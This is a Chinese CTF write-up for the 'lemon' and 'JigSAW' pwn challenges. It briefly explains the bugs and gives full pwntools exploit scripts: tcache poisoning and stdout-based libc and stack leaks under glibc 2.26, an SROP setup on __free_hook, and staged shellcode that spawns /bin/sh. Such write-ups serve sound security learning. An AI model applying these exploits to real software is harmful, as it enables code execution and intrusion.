祥云杯部分pwn的wp

lemon

主要问题是2.26版本下, 未控制好指针导致任意写

数据结构如下:

lemon_name:
在这里插入图片描述
lemon_content:
在这里插入图片描述

主要可利用的函数是color:

在这里插入图片描述
里的buf是指lemon_name结构, 所以可以控制指针lemon_addr的指向了, 因为只能用一次所以想控制整个tcache结构
其它一点可利用的函数:
开头的一次welcome:
在这里插入图片描述
虽然是有rand, 但无随机数种子, 所以是固定值, z3一把🔒!
eat函数: 可以打印chunkaddr第四字节, 用于配合后面分配堆块

整体思路:

利用color控制lemon_addr指向tcache的地址, 然后用一次释放一次可以做到一直控制tcache, 第一次使用可以设置tcache某些块数量达到7, 从而生成unsortedbin, 虽然无法直接打印, 但是使用particular write+爆破可以让chunk申请到_IO_2_1_stdout中, 然后泄露libc, 之后再以类似操作用environ打印出栈基址, 配合之前的泄露获取stack地址, 最后再用io即可打印出flag

难点:

多了个类似ptmalloc的检测在分配完成之后, 导致使用free_hook等充满难度:
在这里插入图片描述

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from z3 import *

io=process('./lemon_pwn')
libc = ELF('./libc/libc-2.26.so')
context.log_level = 'debug'

def resolve():
    x=BitVec('x', 33)
    x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
    s=Solver()
    s.add(x^0x6b8b4567==0x13b6db38)
    print s.check()
    result=s.model()
    print result

def add(index,name,length,context='a'):
    io.sendlineafter('choice >>> ','1')
    io.sendlineafter('index of your lemon: \n',str(index))
    io.sendafter('name your lemon: \n',name)
    io.sendlineafter('length of message for you lemon: \n',str(length))
    if length <= 0x400:
        io.sendafter('message: \n',context)

def eat(index):
    io.sendlineafter('choice >>> ','2')
    io.sendlineafter('index of your lemon : \n',str(index))

def throw(index): 
    io.sendlineafter('choice >>> ','3')
    io.sendlineafter('index of your lemon : \n',str(index))

def color(index,context):
    io.sendlineafter('choice >>> ','4')
    io.sendlineafter('index of your lemon  : \n',str(index))
    io.sendafter('draw and color!\n',context)
   
    
def exp():
    io.sendlineafter('me?\n','yes')
    io.sendlineafter(' number: \n',p32(0x4a46bd98)+p8(1))
    io.recvuntil('first: \n')
    io.sendline('/bin/sh')
    
    
    add(1,'wwww\n',0x30)
    add(2,'a',0x90)
    add(3,'a',0x60)
    add(0,'wwww\n',0x20)
    #add(3,'a\n',944,'a\n')
    #add(3,'a\n',16,'a\n')

    eat(1)
    io.recvuntil('eat eat eat ')
    addr=int(io.recv(5))
    print(hex(addr))
    color(1,'b'*0x10+p32(0x40)+p32(1)+p16(addr-0x250))
    ''' control all tc'''
    throw(3)
    throw(1)
    add(1,'a',0x240,p64(0)+p8(7)+p8(0)*0x37)

    throw(2)
    throw(1)
    add(1,'a',0x240,p64(0)*13+p16(addr+0xd0))
    add(2,'a',0x60)
    throw(1)
    add(1,'a\n',0x240,p64(0)*13+p16(0x86ed))
    '''boom!'''
    add(2,'a\n',96,'a'*0x33+p64(0xfbad1887)+p64(0)*3+'\x88')
    #gdb.attach(io)
    stdin=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = stdin-libc.symbols['_IO_2_1_stdin_']
    stdout = libc_base+libc.symbols['_IO_2_1_stdout_']

    print(hex(libc_base))
    environ = libc_base+libc.symbols['_environ']
    throw(1)
    add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))
    throw(0)
    #gdb.attach(io, '''b *$rebase(0x1106)''')
    add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))
    stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x180
    print(hex(stack))
    add(0,'b',48,'a')
    throw(1)
    add(1,'a',0x240,p64(0)*13+p64(stdout-0x33))
    throw(0)
    add(2,'a',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(stack-4)+p64(stack+0x28))
    #gdb.attach(io)

    io.interactive()
 
while 1:
   try:
    #io=process('./lemon_pwn')
    #io = remote('47.104.70.90',34524)
    exp()
   except:
    io.close()

其它唧唧歪歪:

如果没有tc怎么办捏? 伪造大小构造unsortedbin后多次构造出doublefree的指针然后打main_arena-0x33的位置(因为0x7f是可以过程序的检测), 在main_arena处再次伪造fastbin上的指针和size, 指向main_arena+x处, 最后修改topchunk指针指向free_hook-x(值👴忘了), 最后多申请topchunk, 使其滑到__free_hook, 构造srop打(为什么👴会想无tc的情况呢, 因为一开始以为2.26无tc就没改环境, ctmd, 然后这种做法因为2.26有tc, 即使申请到了main_arena处, 也会因为tc的出现而无法伪造fastbin, 原因懒得探究了)
2.23的exp(还未加上爆破的格式~):

#!/usr/bin/env python
# coding=utf-8
from z3 import *
from pwn import *
#context.log_level='debug'
#sh=process(['./libc/ld-2.26.so', './lemon_pwn'], env={'LD_PRELOAD':'./libc/libc-2.26.so'})
#sh=remote('47.104.70.90',34524)
sh=process('./lemon_pwn')
elf=ELF('./lemon_pwn')
#libc=ELF('/home/thu1e/ctf/Pwn/glibc-all-in-one/libs/libc-2.26.so')
libc=elf.libc
context.binary=elf

def resolve():
    x=BitVec('x', 33)
    x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
    s=Solver()
    s.add(x^0x6b8b4567==0x13b6db38)
    print s.check()
    result=s.model()
    print result

def get(idx, name, length, message=' '):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.send(name)
    sh.recv()
    sh.sendline(str(length))
    if length <= 0x400:
        sh.recv()
        sh.send(message)

def eat(idx):
    sh.recv()
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(idx))

def throw(idx):
    sh.recv()
    sh.sendline('3')
    sh.recv()
    #sh.recvuntil('Input the index of your lemon : \n')
    sh.sendline(str(idx))

def color(idx, content):
    #gdb.attach(sh, '''b *$rebase(0x1354)''')
    sh.recv()
    sh.sendline('4')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.send(content)

#resolve()
sh.recv()
sh.send('yes')
sh.recv()
sh.send(p64(0x1783de662))
sh.send('Thu1e')
sh.recvuntil('Hi Thu1e, your reward is 0x')
stack_low=int(sh.recvuntil('\n').split()[0], 16)
log.success('stack low: '+hex(stack_low))

'''
color(-268, p64(0xfbad1800)+p64(0x0)*3+'\x00')
sh.recvuntil(p64(0)*3)
leak_libc=u64(sh.recv(6).ljust(8, '\x00'))
libc_base=leak_libc-0x3c36e0
log.success('libc base: '+hex(libc_base))
'''

get(0, 'thule', 0x30)
eat(0)
sh.recvuntil('eat eat eat ')
heap_last_4=int(sh.recvuntil('...')[:-3])
#print str(chunk_last_4)
log.success('chunk last 4bytes: '+hex(heap_last_4))
get(0, 'w', 0x20)
get(1, 'w', 0x20)
color(0, p32(1)*6+p16(heap_last_4+0x100))
#gdb.attach(sh, '''b *$rebase(0x011D1)\n x/8gx $rebase(0x202880)''')
throw(0)
throw(1)
get(3, p64(0)*2, 0x20, p16(heap_last_4+0x160))
get(0, p64(0)*2, 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x30)+p32(1)+p64(0x61)*10)
#gdb.attach(sh, '''b *$rebase(0xF57)''')
get(2, 'w', 0x30)
get(1, p64(0)*2, 0x30)
throw(0)
#gdb.attach(sh, '''b *$rebase(0xF44)''')  
get(0, p64(0), 0x100, p64(0)*5+p64(0x31)+p64(0)*2+p32(0x5f0)+p32(1)+p16(heap_last_4+0x260))
throw(2)
get(2, p64(0), 0x30, p64(0)*3+p64(0x601))#uaf
throw(3)
get(0, p64(0), 0x440)
get(0, p64(0), 0x20)
get(3, p64(0), 0x20)
get(2, p64(0), 0x400, p64(0)*14*2+p64(0)+p64(0x21))
get(2, p64(0), 0xe0, p64(0)*2*12+p64(0)+p64(0x21))
throw(1)
throw(3)
throw(0)
payload1=p64(0)*11+p64(0x31)+p16(heap_last_4+0xc0+0x30)
get(0, p64(0), 0xa0, payload1)
get(0, p16(heap_last_4+0x750), 0x20, 'xxxxxxxx')
get(0, p64(0), 0x20, p64(0)*2+p32(0xe0)+p32(1)+p16(0x340+heap_last_4))
get(1, p64(0), 0x60)
get(3, p64(0), 0x60)
get(0, p64(0), 0x60, p8(0xed)+p8(0x6)+p8(0xdd))
throw(1)
throw(3)
throw(2)
get(0, p64(0), 0x60, p16(0x480+heap_last_4))
get(2, p64(0), 0x60, p16(0x340+heap_last_4))
get(1, p64(0), 0x60, p16(0x340+heap_last_4))
get(3, p64(0), 0x60, p16(0x340+heap_last_4))
payload2=p8(0)*3+p64(0)*6+p64(0xfbad1800)+p64(0x0)*3+'\x00'
get(2, p64(0), 0x60, payload2)
sh.recvuntil(p32(0xfbad1800))
sh.recv(0x1c)
libc_base=u64(sh.recv(8))-0x3db700
log.success('libc base: '+hex(libc_base))
throw(0)
throw(3)
throw(1)
get(2, p64(0), 0xe0, p64(0x71)*2*14)
get(3, p64(0), 0xe0)
throw(2)
throw(3)
get(0, 'w', 0x60, p16(heap_last_4+0x620))
get(0, 'w', 0x60)
get(0, 'w', 0x60)
get(0, 'w', 0x60, p64(0)+p64(0xf1)+p64(libc_base+libc.sym['__free_hook']))
frame=SigreturnFrame()
frame.rax=0
frame.rdi=(libc_base+libc.sym['__free_hook'])&0xfffffffffffff000
frame.rsi=0x2000
frame.rdx=7
frame.rip=(libc_base+libc.sym['mprotect'])
frame.rsp=(libc_base+libc.sym['__free_hook'])+0x28
get(0, 'w', 0xe0)
#get(0, 'w', 0xe0, p64(libc_base+libc.sym['setcontext']+53))
#get(0, 'w', 0x60, p64(libc_base+0x3dac05))
#[get(0, 'w', 0x60) for i in range(2)]
#payload3=p8(0)*3+p64(0x60)+p64(1)+p64(0)*4+p64(libc_base+0x3dac10)
#get(0, 'w', 0x60, payload3)

#get(3, 'w', 0x50, p64(0)*7+p64(libc_base+libc.sym['__free_hook']-0x1098))
#'''unsorted bin 0x70 chunk'''

#throw(0)
gdb.attach(sh)
#throw(0)
#get(0, p64(0), 0x80,p64(0)*2*5+p64(0)+p64(0x1f1)+p16(heap_last_4+0x690-0x10))
sh.interactive()

JigSAW:

前言:

因为远程和本地的区别, 导致比赛结束了五分钟才出, 尼玛(但是呆呆说是因为我菜单写的太简洁了, 哭)

漏洞:

初始化时, 输入处是bool类型, 而scanf用的%ld, 可以覆盖掉rand产生的值, 然后给heap7的权限

难点:

分段shellcode写法, 👴写了30分钟, 然后远程调试改了15分钟, 想想就来气

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./JigSAW')
#sh=remote('47.104.71.220', 10273)
elf=ELF('./JigSAW')
libc=elf.libc
context.binary=elf
context.log_level='debug'

def add(idx):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(idx))

def edit(idx, content):
    sh.recv()
    sh.sendline('2')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.send(content)

def test(idx):
    sh.recv()
    sh.sendline('4')
    sh.recv()
    sh.sendline(str(idx))

sh.recv()
sh.send('a')
sh.recv()
sh.sendline('85899345920')
#gdb.attach(sh, '''b *$rebase(0x1686)''')
for i in range(4):
    add(i)

shellcode1=asm('''
               add rdx, 0x20
               push rdx
               mov rsi, rsp
               inc rax
               push rax
               pop rdi
               jmp [rsi]
               ''')
shellcode2=asm('''
               push r8
               pop rdx
               syscall
               pop r9
               add r9, 0x20
               push r9
               ''')
shellcode3=asm('''
               xor rax, rax
               push r11
               pop rdx
               xor rdi, rdi
               push rcx
               pop rsi
               syscall
               ''')
print hex(len(shellcode1))
print hex(len(shellcode2))
print hex(len(shellcode3))
edit(0, shellcode1)
edit(1, shellcode2)
edit(2, shellcode3)
#gdb.attach(sh, '''b *$rebase(0x1c41)''')
test(0)
'''
加上下面三行就是打远程的玩意
sleep(3)
sh.recvuntil('Index? :')
sh.recv(2)
'''
heap_addr=u64(sh.recv(6).ljust(8, '\x00'))
log.success('heap addr: '+hex(heap_addr))
shellcode=p8(0)*5+'/bin/sh\x00'*4+p8(0x5e)+p8(0xf)+p8(0x5)
s1='''
mov rax, 59
mov rdi, 0x%x
xor rsi, rsi
xor rdx, rdx
syscall
'''%(heap_addr+0xa)
shellcode+=asm(s1)
sh.send(shellcode)
sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值